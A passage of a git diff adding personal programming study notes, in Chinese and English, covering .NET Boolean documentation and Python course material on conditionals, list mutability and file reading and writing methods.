的标志,用于指示是否将输出发送到文件,以及一个名为 isBoth 的标志,以指示应将输出发送到控制台。 +C# + +复制 +using System; +using System.IO; +using System.Threading; + +public class Example +{ + public static void Main() + { + // Initialize flag variables. + bool isRedirected = false; + bool isBoth = false; + String fileName = ""; + StreamWriter sw = null; + + // Get any command line arguments. + String[] args = Environment.GetCommandLineArgs(); + // Handle any arguments. + if (args.Length > 1) { + for (int ctr = 1; ctr < args.Length; ctr++) { + String arg = args[ctr]; + if (arg.StartsWith("/") || arg.StartsWith("-")) { + switch (arg.Substring(1).ToLower()) + { + case "f": + isRedirected = true; + if (args.Length < ctr + 2) { + ShowSyntax("The /f switch must be followed by a filename."); + return; + } + fileName = args[ctr + 1]; + ctr++; + break; + case "b": + isBoth = true; + break; + default: + ShowSyntax(String.Format("The {0} switch is not supported", + args[ctr])); + return; + } + } + } + } + + // If isBoth is True, isRedirected must be True. + if (isBoth && ! isRedirected) { + ShowSyntax("The /f switch must be used if /b is used."); + return; + } + + // Handle output. + if (isRedirected) { + sw = new StreamWriter(fileName); + if (!isBoth) + Console.SetOut(sw); + } + String msg = String.Format("Application began at {0}", DateTime.Now); + Console.WriteLine(msg); + if (isBoth) sw.WriteLine(msg); + Thread.Sleep(5000); + msg = String.Format("Application ended normally at {0}", DateTime.Now); + Console.WriteLine(msg); + if (isBoth) sw.WriteLine(msg); + if (isRedirected) sw.Close(); + } + + private static void ShowSyntax(String errMsg) + { + Console.WriteLine(errMsg); + Console.WriteLine("\nSyntax: Example [[/f [/b]]\n"); + } +} +布尔值和算术运算 +布尔值有时用于指示触发数学计算的条件是否存在。 例如,hasShippingCharge 变量可用作标志,指示是否向发票金额添加运费。 +由于 false 值的操作对操作的结果不起作用,因此无需将布尔值转换为整数值即可在数学运算中使用。 相反,您可以使用条件逻辑。 +下面的示例计算一个由小计、运费和可选的服务费用组成的量。 hasServiceCharge 变量确定是否应用服务费用。 该示例使用条件逻辑来添加服务费用量(如果适用),而不是将 hasServiceCharge 转换为数字值并将其与服务费用相乘。 +C# + +复制 +using System; + +public class Example +{ + public static void Main() + { + bool[] hasServiceCharges = { true, false }; + Decimal subtotal = 120.62m; + Decimal shippingCharge = 2.50m; + Decimal serviceCharge = 5.00m; + + foreach (var hasServiceCharge in hasServiceCharges) { + Decimal total = subtotal + shippingCharge + + (hasServiceCharge ? serviceCharge : 0); + Console.WriteLine("hasServiceCharge = {1}: The total is {0:C2}.", + total, hasServiceCharge); + } + } +} +// The example displays output like the following: +// hasServiceCharge = True: The total is $128.12. +// hasServiceCharge = False: The total is $123.12. + +布尔值和互操作 +虽然将基本数据类型封送到 COM 通常是非常简单的,但 Boolean 的数据类型也是一个例外。 可以应用 MarshalAsAttribute 特性,将 Boolean 类型封送到以下任何表示形式: +枚举类型 非托管格式 +UnmanagedType.Bool 4个字节的整数值,其中任何非零值表示 true,0表示 false。 这是平台调用中的结构和 Boolean 参数的 Boolean 字段的默认格式。 +UnmanagedType.U1 1个字节的整数值,其中1表示 true,0表示 false。 +UnmanagedType.VariantBool 一个2字节的整数值,其中-1 表示 true,0表示 false。 这是 COM 互操作调用中 Boolean 参数的默认格式。 +字段 +FalseString +将布尔值 false 表示为一个字符串。 此字段为只读。 +TrueString +将布尔值 true 表示为一个字符串。 此字段为只读。 +方法 +CompareTo(Boolean) +将此实例与指定的 Boolean 对象进行比较,并返回一个指示二者关系的整数。 +CompareTo(Object) +将此实例与指定对象进行比较,并返回一个指示二者关系的整数。 +Equals(Boolean) +返回一个值,该值指示此实例是否与指定的 Boolean 相等。 +Equals(Object) +返回一个值,该值指示此实例是否等于指定对象。 +GetHashCode() +返回此实例的哈希代码。 +GetTypeCode() +返回 Boolean 值类型的类型代码。 +Parse(String) +将逻辑值的指定字符串表示形式转换为其等效的 Boolean。 +ToString() +将此实例的值转换为其等效字符串表示形式(“True”或“False”)。 +ToString(IFormatProvider) +将此实例的值转换为其等效字符串表示形式(“True”或“False”)。 +TryParse(String, Boolean) +尝试将逻辑值的指定字符串表示形式转换为其等效的 Boolean 值。 +显式接口实现 +IConvertible.ToBoolean(IFormatProvider) +有关此成员的说明,请参阅 ToBoolean(IFormatProvider)。 +IConvertible.ToByte(IFormatProvider) +有关此成员的说明,请参阅 ToByte(IFormatProvider)。 +IConvertible.ToChar(IFormatProvider) +不支持此转换。 尝试使用此方法将引发 InvalidCastException。 +IConvertible.ToDateTime(IFormatProvider) +不支持此转换。 尝试使用此方法将引发 InvalidCastException。 +IConvertible.ToDecimal(IFormatProvider) +有关此成员的说明,请参阅 ToDecimal(IFormatProvider)。 +IConvertible.ToDouble(IFormatProvider) +有关此成员的说明,请参阅 ToDouble(IFormatProvider)。 +IConvertible.ToInt16(IFormatProvider) +有关此成员的说明,请参阅 ToInt16(IFormatProvider)。 +IConvertible.ToInt32(IFormatProvider) +有关此成员的说明,请参阅 ToInt32(IFormatProvider)。 +IConvertible.ToInt64(IFormatProvider) +有关此成员的说明,请参阅 ToInt64(IFormatProvider)。 +IConvertible.ToSByte(IFormatProvider) +有关此成员的说明,请参阅 ToSByte(IFormatProvider)。 +IConvertible.ToSingle(IFormatProvider) +有关此成员的说明,请参阅 ToSingle(IFormatProvider)。 +IConvertible.ToType(Type, IFormatProvider) +有关此成员的说明,请参阅 ToType(Type, IFormatProvider)。 +IConvertible.ToUInt16(IFormatProvider) +有关此成员的说明,请参阅 ToUInt16(IFormatProvider)。 +IConvertible.ToUInt32(IFormatProvider) +有关此成员的说明,请参阅 ToUInt32(IFormatProvider)。 +IConvertible.ToUInt64(IFormatProvider) +有关此成员的说明,请参阅 ToUInt64(IFormatProvider)。 +适用于 +.NET Core +3.1 3.0 2.2 2.1 2.0 1.1 1.0 +.NET Framework +4.8 4.7.2 4.7.1 4.7 4.6.2 4.6.1 4.6 4.5.2 4.5.1 4.5 4.0 3.5 3.0 2.0 1.1 +.NET Standard +2.1 2.0 1.6 1.5 1.4 1.3 1.2 1.1 1.0 +UWP +10.0 +Xamarin.Android +7.1 +Xamarin.iOS +10.8 +Xamarin.Mac +3.0 +线程安全性 +此类型的所有成员都是线程安全的。 看似修改实例状态的成员实际上返回用新值初始化的新实例。 与任何其他类型一样,读取和写入包含此类型的实例的共享变量时,必须通过锁保护以保证线程安全。 diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.08.6.IF.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.08.6.IF.md new file mode 100644 index 00000000000..63175a7470f --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.08.6.IF.md @@ -0,0 +1,120 @@ + +# if + +[toc] + +## Intro +`Selection/conditional statements`: to check conditions and change the behavior of the program accordingly. +- The simplest form of `selection` is the `if` statement. +- `binary selection`: two possible paths of execution. +- `unary selection`: `if` statement is one in which the `else` clause is omitted entirely. + - when the condition evaluates to `True`, the statements are executed. + - Otherwise the flow of execution continues to the statement after the body of the `if`. + + + + +## `Chained conditionals` + +`elif` is an abbreviation of `else if`. + +```py + +if condition_1: + # 条件成立时(非零),则执行后面的语句 + # 执行内容可以多行,以缩进来区分表示同一范围。 + statement_block_1 + # The indented statements that follow are called a block. + # The first unindented statement marks the end of the block. +elif condition_2: + # 可选语句,当需要在条件不成立时执行内容则可以执行相关语句。 + statement_block_2 +.... +else: + statement_block_N +``` + +1. 每个条件后面要使用冒号 :,表示接下来是满足条件后要执行的语句块。 +2. 使用缩进来划分语句块,相同缩进数的语句在一起组成一个语句块。 +3. 在Python中没有switch – case语句。 + +* 任何非0和非空(null)值为true +* 0 或者 null为false。 + + +python 并不支持 switch 语句,所以多个条件判断,只能用 elif 来实现 +- 如果判断需要多个条件需同时判断 +- or,表示两个条件有一个成立时判断条件成功; +- and,表示只有两个条件同时成立的情况下,判断条件才成功。 + +当if有多个条件时可使用括号来区分判断的先后顺序,括号中的判断优先执行, +- `and`, `or` 的优先级 *低于* `>`, `<`等判断符号 +- 大于和小于在没有括号的情况下会比与或要优先判断。 + + + +## 可以在同一行的位置上使用if条件判断语句 + +```py +var = 100 +if ( var == 100 ) : print "变量 var 的值为100" +print "Good bye!" + +# 输出结果如下: +变量 var 的值为100 +Good bye! +``` + +--- + + +## if 嵌套 `Nested conditionals` +在嵌套 if 语句中,可以把 if...elif...else 结构放在另外一个 if...elif...else 结构中。 + +One conditional can also be nested within another. + +```py +if 表达式1: + 语句 + if 表达式2: + 语句 + elif 表达式3: + 语句 + else: + 语句 +elif 表达式4: + 语句 +else: + 语句 +``` + + +```py +if x < y: + print("x is less than y") +else: + if x > y: + print("x is greater than y") + else: + print("x and y must be equal") +``` + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.09.1.Transforming-Sequences.md b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.09.1.Transforming-Sequences.md new file mode 100644 index 00000000000..d767b2130fc --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python11-Basic-byUMich/0.09.1.Transforming-Sequences.md @@ -0,0 +1,157 @@ + +# 9.2 Mutability + +If a type is able to change, then it is said to be mutable + +```py + +1. assigning + + 1) list: assign list this way = assigns 2 variable name to the same list + >>> x=[1,2,3,4,] + >>> y=x + y - [1,2,3,4,] - x + + one variable changes the object, both variable refect the different + + >>> y[1]=0 + y - [1,0,3,4,] - x + +2. mutable/immutable + + 1) list is mutable: + + append(): can make direct changes to the object. + >>> x.append(16) + y - [1,0,3,4,16] - x + + but append method returns none. + >>> x=x.append(16) + x - now point to the none + y - [1,0,3,4,16] + + 2) strings is immutable: + + replace(): can return an updated copy of the strings, cannot change the original object. + >>> a="hola" + >>> a.replace("l","r") + "hora" + >>> a + "hola" + + if want to update the variable to point to a new strings, need to reassign. + >>> a=a.replace("l","r") + >>> a + "hora" + + if 2 variable point to a string: + >>> b=a + >>> a=a.upper() + a="HORA" # one update + b="hora" # other remains unchanged + +``` + +--- + +## 9.4. Objects and References + +```py +a = "banana" +b = "banana" + +two possible ways the Python interpreter could arrange its internal states: + a - "banana" + b - "banana" + +1. to figure out which one: + print(a is b) + +2. check the object ID: + print(id(a)) + print(id(b)) + +3. dont use "="!!!!! + + a = [81,82,83] + b = [81,82,83] + print(a is b) # False + print(a == b) # True +``` + +--- + +## 9.6. Cloning Lists + +cloning: to modify a list and also keep a copy of the original. +- to clone a list: `:` + +```py +a = [81,82,83] + +b = a[:] # make a clone using slice +print(a == b) # True +print(a is b) # False + +b[0] = 5 +print(a) # [81,82,83] +print(b) # [5, 82, 83] +``` + +--- + +## extend or copy + +When an object is *list*, and is concatenated with another +- using `+=`, it extends the original object. +- `item = item + object`, it makes a copy. + +--- + +## 9.12. 👩‍💻 Accumulator Pattern Strategies + +Accumulation 积累 Pattern + +count accumulation: how many/frequently +sum accumulation: total +list accumulation: a list of +string accumulation: concatenate / join together + +```py +Does the following prompt require an accumulation pattern? +- For each string in wrds, add ‘ed’ to the end of the word (to make the word past tense). Save these past tense words to a list called past_wrds. # Yes; "save... to a list" +- sum up all of the numbers in the list seat_counts. Store that number in the variable total_seat_counts. # Yes; "to sum up" +- print out each character of the string my_str on a separate line. # no +- count the number of vowels in the sentence s and assign the result to the variable num_vowels. # Yes; "code that will count" +``` + +--- + +## 9.13. 👩‍💻 Don’t Mutate A List That You Are Iterating Through + +```py +colors = ["Red", "Orange", "Yellow", "Green", "Blue", "Indigo", "Violet", "Purple", "Pink", "Brown", "Teal", "Turquois", "Peach", "Beige"] + +for position in range(len(colors)): + color = colors[position] + print(color) + if color[0] in ["P", "B", "T"]: + del colors[position] # error + # as we delete content from the list, the list becomes shorter. + +print(colors) +``` + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.10.00.File.md b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.10.00.File.md new file mode 100644 index 00000000000..2a5d0d0ceee --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.10.00.File.md @@ -0,0 +1,632 @@ + +# File(文件) 方法 + +[toc] + +--- + +# `with` + +```py +with open('mydata.txt', 'r') as md: + print(md.readlines()) + # ['1 2 3\n', '4 5 6\n'] + +1. not good for large data. + + for lin in fileref.readlines(): print(lin) + +2. This option: iterating over the file itself while still iterating over each line in the file: + + for line in md: print(line) + # 1 2 3 + # + # 4 5 6 +``` + + +```py +with open('pi_digits.txt') as file_object: + contents = file_object.read() +print(contents) +# print(contents.rstrip()) # remove the extra blank line + +# 3.1415926535 +# 8979323846 +# 2643383279 +# (one blank space) +``` + +The only difference between output and the original file is the extra blank line at the end of the output. +- The blank line appears: because `read()` **returns an empty string** when it reaches the end of the file; this empty string shows up as a blank line. +- to remove the extra blank line, use rstrip() + + +--- + +# `open()` + +1. `file.variable=open(file.object)`: file 对象使用 open() 来创建 + - The variable `file.variable` now holds a reference to the `file object` returned by `open()`. + - When finished with the file, close it by `close()`. + +Forgetting to close() does not necessarily cause a runtime error in the kinds of programs you typically write in an introductory programing course. but for program that may run for days or weeks at a time that does a lot of file reading and writing. + +```py +afile = open("/../foo.txt", "w") +... +afile.close() +``` + +> Note +> A common mistake: +> whether you are providing a `variable name` or a `string literal` as an input to the open function. +> `fileref = open("olympics.txt", "r")`: “olympics.txt” is a string literal that should correspond to the name of a file on your computer. +> If put something without quotes, like `open(x, "r")`, it will be treated as a variable name. In this example, x should be a variable that’s already been bound to a string value like “olympics.txt”. + +--- + +## `open()` 方法 + +用于打开一个文件,并返回文件对象, +- 在对文件进行处理过程都需要使用到这个函数, +- 如果该文件无法被打开,会抛出 OSError。 + +`open(file, mode='r', buffering=-1, encoding=None, errors=None, newline=None, closefd=True, opener=None)` + +- `file`: 必需,文件路径(相对或者绝对路径)。 +- `mode`: 可选,文件打开模式 +- buffering: 设置缓冲 +- encoding: 一般使用utf8 +- errors: 报错级别 +- newline: 区分换行符 +- closefd: 传入的file参数类型 +- opener: +- mode 参数有: + +默认为文本模式,如果要以二进制模式打开,加上 `b` 。 + +模式 | 描述 +---|--- +`t` | 文本模式 (默认)。 +`x` | 写模式,新建一个文件,如果该文件已存在则会报错。 +`b` | 二进制模式。 +`+` | 打开一个文件进行更新(`可读可写`)。 +`U` | 通用换行模式(Python 3 不支持)。 +---|--- +r | `只读`。文件的指针将会放在文件的开头。这是默认模式。 +rb | 以二进制格式打开一个文件用于只读。文件指针将会放在文件的开头。 +r+ | `读写`。文件指针将会放在文件的开头。 +rb+ | 以二进制格式打开一个文件用于读写。文件指针将会放在文件的开头。 +---|--- +w | `写入`。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,`创建`新文件。 +wb | 以二进制格式打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,`创建`新文件。 +w+ | `读写`。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,`创建`新文件。 +wb+ | 以二进制格式打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,`创建`新文件。 +---|--- +a | 打开一个文件用于`追加`。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。 +ab | 以二进制格式打开一个文件用于`追加`。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。 +a+ | 打开一个文件用于读写。如果该文件已存在,文件指针将会放在文件的结尾。文件打开时会是追加模式。如果该文件不存在,创建新文件用于读写。 +ab+ | 以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。如果该文件不存在,创建新文件用于读写。 + +--- + +# `file` 对象常用的函数: + +## file.`close()` + +关闭一个已打开的文件。关闭后的文件不能再进行读写操作, 否则会触发 ValueError 错误。 close() 方法允许调用多次。 + +当 file 对象,被引用到操作另外一个文件时,Python 会自动关闭之前的 file 对象。 使用 close() 方法关闭文件是一个好的习惯。 + +```py +fo = open("runoob.txt", "wb") +... +fo.close() +``` + +## file.`flush()` + +用来刷新缓冲区的,即将缓冲区中的数据立刻写入文件,同时清空缓冲区,不需要被动的等待输出缓冲区写入。 + +一般情况下,文件关闭后会自动刷新缓冲区,但有时你需要在关闭前刷新它,这时就可以使用 flush() 方法。 + +```py +fo = open("runoob.txt", "wb") # 打开文件 +print ("文件名为: ", fo.name) +fo.flush() # 刷新缓冲区 +fo.close() # 关闭文件 +``` + +### file.`fileno()` + +返回一个整型的文件描述符(file descriptor FD 整型), 可用于底层操作系统的 I/O 操作。可以用在如os模块的read方法等一些底层操作上。 + +```py +fo = open("runoob.txt", "wb") +print ("文件名为: ", fo.name) # 文件名为: runoob.txt +fid = fo.fileno() +print ("文件描述符为: ", fid) # 文件描述符为: 3 +fo.close() # 关闭文件 +``` + +### file.`isatty()` + +检测文件是否连接到一个终端设备,如果是返回 True,否则返回 False。 + +```py +fo = open("runoob.txt", "wb") +print ("文件名为: ", fo.name) # 文件名为: runoob.txt +ret = fo.isatty() +print ("返回值 : ", ret) # 返回值 : False +fo.close() # 关闭文件 +``` + +### file.`next(iterator[,default])` + +- Python 3 中的 File 对象不支持 `next()` 方法。 +- Python 3 的内置函数 `next()` 通过迭代器调用 `__next__()` 方法返回下一项。 +- 在循环中,`next()`方法会在每次循环中调用,该方法返回文件的下一行,如果到达结尾(EOF),则触发 StopIteration + +返回值: 返回文件下一行。 + +```py +# 文件 runoob.txt 的内容如下: +这是第一行 +这是第二行 +这是第三行 +这是第四行 +这是第五行 +# 循环读取文件的内容: +fo = open("runoob.txt", "r") +print ("文件名为: ", fo.name) +for index in range(5): + line = next(fo) + print ("第 %d 行 - %s" % (index, line)) +fo.close() # 关闭文件 +# result +文件名为: runoob.txt +第 0 行 - 这是第一行 +第 1 行 - 这是第二行 +第 2 行 - 这是第三行 +第 3 行 - 这是第四行 +第 4 行 - 这是第五行 +``` + +--- + +## Alternative File Reading Methods + +generally either iterate through the lines returned by `readlines()` with a `for` loop, + +or use `read()` to get all of the contents as a single string. + +> Note +> A common error +> all these ways of `read()` the file contents, use up the file. +> After you call `readlines()`, call it again will get an empty list. + +Check your Understanding + +### Reading Line by Line: + +```py +filename = 'pi_digits.txt' + +with open(filename) as file_object: + for line in file_object: + print(line.rstrip()) +``` + + +### Making a List of Lines from a File + +```py +filename = 'pi_digits.txt' + +with open(filename) as file_object: + lines = file_object.readlines() + +for line in lines: + print(line.rstrip()) + +``` + +### load Large Files: One Million Digits + +```py +filename = 'pi_million_digits.txt' +with open(filename) as file_object: + lines = file_object.readlines() + +pi_string = '' +for line in lines: + pi_string += line.strip() + +print(f"{pi_string[:52]}...") +print(len(pi_string)) + +# 3.14159265358979323846264338327950288419716939937510... +# 1000002 +``` + + +### file.`read([n])` -> a string + +从文件读取指定的字节数, return a string of `n` characters +- 包括 "\n" 字符。 +- 未给定或为负: 读取所有。 + +```py +# 文件 runoob.txt: +这是第一行 +这是第二行 +这是第三行 +这是第四行 +这是第五行 +# 读取 +fo = open("runoob.txt", "r+") +line = fo.read(10) +print (line) +fo.close() +# 结果 +这是第一行 +这是第二 +``` + +### file.`readline([n])` + +读取整行,包括 "\n" 字符。 +- Read and return the next line of the file with all text up to and including the newline character. +- 如果指定了一个非负数的参数: 返回指定大小的字节数,包括 "\n" 字符。 + +```py + +1. 度过后不会再重复,直接接着下一个 + + # 文件 runoob.txt: + 1:www.runoob.com + 2:www.runoob.com + # 读取文件的内容: + fo = open("runoob.txt", "r+") + line = fo.readline() + line = fo.readline(5) + print (line) + fo.close() + # 结果 + 2:www +``` + +### file.`readlines([n])` --> list + +Returns a `list of strings` +- each representing a single line of the file. +- If `n` is not provided: all lines of the file are returned. +- If `n` is provided: `n` characters are read but `n` is rounded up so that an entire line is returned. +- Note Like `readline` `readlines` ignores the parameter n in the browser. + +A `line` of a file: a sequence of characters up to and including a special character, "newline" character": `\n`. + + +读取所有行并返回列表 +- 若给定sizeint>0,返回总和大约为sizeint字节的行, 实际读取值可能比 sizeint 较大, 因为需要填充缓冲区。 +- 方法用于读取所有行(直到结束符 EOF)并返回列表,该列表可以由 Python 的 for... in ... 结构进行处理。 如果碰到结束符 EOF 则返回空字符串。 +- 如果碰到结束符 EOF 则返回空字符串。 + +```py +1. for loop: iterates through each line of the file + will contain the current line of the file as a "string of characters". + + for line in myFile.readlines(): + statement1 + statement2 + ... + + +2. split() method: break each line into a list. + + olypmicsfile = open("olypmics.txt", "r") + + for aline in olypmicsfile.readlines(): + values = aline.split(",") + print(values) + ['Name', 'Sex', 'Age', 'Team', 'Event', 'Medal\n'] + + + print(olypmicsfile) + + for aline in olypmicsfile: + values = aline.split(",") + print(values) + ['Name', 'Sex', 'Age', 'Team', 'Event', 'Medal\n'] + + olypmicsfile.close() + + + + +3. result is a list!!! + + This summer I will be travelling. + I will go to... + Italy: Rome + print(open("travel_plans2.txt").readlines( )) + + ['This summer I will be travelling.\n', 'I will go to...\n', 'Italy: Rome\n'] + + + count = len(open(thefilepath).readlines( )) + + + count = 0 + for line in open(thefilepath).readlines( ): count += 1 + + + count = 0 + thefile = open(thefilepath, 'rb') + while 1: + buffer = thefile.read(8192*1024) + if not buffer: break + count += buffer.count('\n') + thefile.close( ) + +``` + +--- + +## file.`seek(offset[, whence])` + +移动文件读取指针到指定位置 +- `offset`: 开始的偏移量,也就是代表需要移动偏移的字节数,如果是负数表示从倒数第几位开始。 +- `whence`:可选,默认值为 0。给 offset 定义一个参数,表示要从哪个位置开始偏移;0 代表从文件开头开始算起,1 代表从当前位置开始算起,2 代表从文件末尾算起。 + +```py + +1. + >>> f = open('workfile', 'rb+') + >>> f.write(b'0123456789abcdef') + 16 + >>> f.seek(5) # 移动到文件的第六个字节 + 5 + >>> f.read(1) + b'5' + >>> f.seek(-3, 2) # 移动到文件倒数第三个字节 + 13 + >>> f.read(1) + b'd' + +2. + # 文件 runoob.txt 的内容如下: + 1:www.runoob.com + 2:www.runoob.com + 3:www.runoob.com + 4:www.runoob.com + 5:www.runoob.com + # 循环读取文件的内容: + fo = open("runoob.txt", "r+") + print ("文件名为: ", fo.name) + line = fo.readline() + print ("读取的数据为: %s" % (line)) + + fo.seek(0, 0) # 重新设置文件读取指针到开头 + line = fo.readline() + print ("读取的数据为: %s" % (line)) + fo.close() + # 结果为: + 文件名为: runoob.txt + 读取的数据为: 1:www.runoob.com + + 读取的数据为: 1:www.runoob.com +``` + +### file.tell() +返回文件的当前位置,即文件指针当前位置。 + +```py +# 文件 runoob.txt 的内容如下: +1:www.runoob.com +2:www.runoob.com +3:www.runoob.com +4:www.runoob.com +5:www.runoob.com +# 循环读取文件的内容: +fo = open("runoob.txt", "r+") +print ("文件名为: ", fo.name) +line = fo.readline() +print ("读取的数据为: %s" % (line)) + +pos = fo.tell() # 获取当前文件位置 +print ("当前位置: %d" % (pos)) +fo.close() +# 结果为: +文件名为: runoob.txt +读取的数据为: 1:www.runoob.com + +当前位置: 17 +``` + +### file.truncate([size]) + +从文件的首行首字符开始截断 +- 截断文件为 size 个字符,无 size 表示从当前位置截断; +- 截断之后后面的所有字符被删除,其中 Widnows 系统下的换行代表2个字符大小。 + +```py +# 文件 runoob.txt 的内容如下: +1:www.runoob.com +2:www.runoob.com +3:www.runoob.com +4:www.runoob.com +5:www.runoob.com + +# 循环读取文件的内容: + fo = open("runoob.txt", "r+") + print ("文件名: ", fo.name) + line = fo.readline() + print ("读取行: %s" % (line)) + + fo.truncate() + line = fo.readlines() + print ("读取行: %s" % (line)) + fo.close() + # 结果为: + 文件名: runoob.txt + 读取行: 1:www.runoob.com + + 读取行: ['2:www.runoob.com\n', '3:www.runoob.com\n', '4:www.runoob.com\n', '5:www.runoob.com\n'] + +# 截取 runoob.txt 文件的10个字节: + fo = open("runoob.txt", "r+") + print ("文件名为: ", fo.name) + fo.truncate(10) # 截取10个字节 + str = fo.read() + print ("读取数据: %s" % (str)) + fo.close() + # 结果为: + 文件名为: runoob.txt + 读取数据: 1:www.runo +``` + +---- + +## `Write` Text Files + +### (filename, "w") > file.`write(string)`: will overwrite + +the `write` method takes one parameter, a string. +- the `write()` method can only accept a `string` as input. +- When invoked, the characters of the string will be added to the end of the file. + +向文件中写入指定字符串。返回的是写入的字符长度。 +- 在文件关闭前或缓冲区刷新前,字符串内容存储在缓冲区中,这时在文件中是看不到写入的内容的。 +- 如果文件打开模式带 `b`,那写入文件内容时,`str` (参数)要用 encode 方法转为 bytes 形式,否则报错:TypeError: a bytes-like object is required, not 'str'。 + +```py +filename = "squared_numbers.txt" +outfile = open(filename, "w") + +for number in range(1, 13): + square = number * number + outfile.write(str(square) + "\n") + +outfile.close() + +infile = open(filename, "r") +print(infile.read()[:12]) +infile.close() +# +1 +4 +9 +16 +25 +``` + + +### file.writelines(sequence) + +向文件写入一个序列字符串列表 +- 这一序列字符串可以是由迭代对象产生的,如一个字符串列表。 +- 如果需要换行则要加入每行的换行符 \n。 + +```py +fo = open("test.txt", "w") +seq = ["菜鸟教程 1\n", "菜鸟教程 2"] +fo.writelines( seq ) +fo.close() +# 查看文件内容: +$ cat test.txt +菜鸟教程 1 +菜鸟教程 2 +``` + + +### (filename, "a") > file.`write(string)`: append contents + +Python doesn’t erase the contents of the file before returning the file object. +- Any lines you write to the file will be added at the end of the file. +- If the file doesn’t exist yet, Python will create an empty file for you. + +```py +filename = 'programming.txt' +with open(filename, 'a') as file_object: + file_object.write("I love cat.\n") + file_object.write("I love dog.\n") +``` + +--- + +# 10.12. 👩‍💻 Tips on Handling Files + +1. When naming files, not include spaces. While most operating systems can handle files with spaces in their names, not all can. + +2. keep the suffixes in files names clear. txt, csc, exe. + + +--- + +# example: + + +1. Read in the contents of the file SP500.txt which has monthly data for 2016 and 2017 about the S&P 500 closing prices as well as some other financial indicators, including the “Long Term Interest Rate”, which is interest rate paid on 10-year U.S. government bonds. +Write a program that computes the average closing price (the second column, labeled SP500) and the highest long-term interest rate. Both should be computed only for the period from June 2016 through May 2017. Save the results in the variables mean_SP and max_interest. + +```py +# Date SP500 Dividend,Earnings,Consumer Price Index,Long Interest Rate,Real Price,Real Dividend,Real Earnings PE10 +# 1/1/2016 1918.6 43.55 86.5 236.92 2.09 2023.23 45.93 91.22 24.21 + +file="SP500.txt" +meanls=[] +interestlst=[] +turn=5 +with open(file) as a: + for i in range(turn+1): + print(a.readline()) + for line in a: + wrds=line.split(",") + turn+=1 + if turn==6: + mean_SP=(float(wrds[1])/(turn-5)) + print(wrds[1],mean_SP) + max_interest=wrds[5] + elif turn>6 and turn<18: + mean_SP=((mean_SP*(turn-6)+float(wrds[1]))/(turn-5)) + print(wrds[1],mean_SP) + if wrds[5]>max_interest: + max_interest= wrds[5] + else: print(line) + max_interest=float(max_interest) + # meanlst.append(wrds[1]) + # interestlst.append(wrds[5]) + + +# Data file: SP500.txt +Date,SP500,Dividend,Earnings,Consumer Price Index,Long Interest Rate,Real Price,Real Dividend,Real Earnings,PE10 +1/1/2016,1918.6,43.55,86.5,236.92,2.09,2023.23,45.93,91.22,24.21 +2/1/2016,1904.42,43.72,86.47,237.11,1.78,2006.62,46.06,91.11,24 +3/1/2016,2021.95,43.88,86.44,238.13,1.89,2121.32,46.04,90.69,25.37 +4/1/2016,2075.54,44.07,86.6,239.26,1.81,2167.27,46.02,90.43,25.92 +5/1/2016,2065.55,44.27,86.76,240.23,1.81,2148.15,46.04,90.23,25.69 +6/1/2016,2083.89,44.46,86.92,241.02,1.64,2160.13,46.09,90.1,25.84 +7/1/2016,2148.9,44.65,87.64,240.63,1.5,2231.13,46.36,91,26.69 +8/1/2016,2170.95,44.84,88.37,240.85,1.56,2251.95,46.51,91.66,26.95 +9/1/2016,2157.69,45.03,89.09,241.43,1.63,2232.83,46.6,92.19,26.73 +10/1/2016,2143.02,45.25,90.91,241.73,1.76,2214.89,46.77,93.96,26.53 +11/1/2016,2164.99,45.48,92.73,241.35,2.14,2241.08,47.07,95.99,26.85 +12/1/2016,2246.63,45.7,94.55,241.43,2.49,2324.83,47.29,97.84,27.87 +1/1/2017,2275.12,45.93,96.46,242.84,2.43,2340.67,47.25,99.24,28.06 +2/1/2017,2329.91,46.15,98.38,243.6,2.42,2389.52,47.33,100.89,28.66 +3/1/2017,2366.82,46.38,100.29,243.8,2.48,2425.4,47.53,102.77,29.09 +4/1/2017,2359.31,46.66,101.53,244.52,2.3,2410.56,47.67,103.74,28.9 +5/1/2017,2395.35,46.94,102.78,244.73,2.3,2445.29,47.92,104.92,29.31 +6/1/2017,2433.99,47.22,104.02,244.96,2.19,2482.48,48.16,106.09,29.75 +7/1/2017,2454.1,47.54,105.04,244.79,2.32,2504.72,48.52,107.21,30 +8/1/2017,2456.22,47.85,106.06,245.52,2.21,2499.4,48.69,107.92,29.91 +9/1/2017,2492.84,48.17,107.08,246.82,2.2,2523.31,48.76,108.39,30.17 +10/1/2017,2557,48.42,108.01,246.66,2.36,2589.89,49.05,109.4,30.92 +11/1/2017,2593.61,48.68,108.95,246.67,2.35,2626.9,49.3,110.35,31.3 +12/1/2017,2664.34,48.93,109.88,246.52,2.4,2700.13,49.59,111.36,32.09 +``` + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.10.05.Filesystem.md b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.10.05.Filesystem.md new file mode 100644 index 00000000000..a41fcd2788e --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.10.05.Filesystem.md @@ -0,0 +1,77 @@ + +## 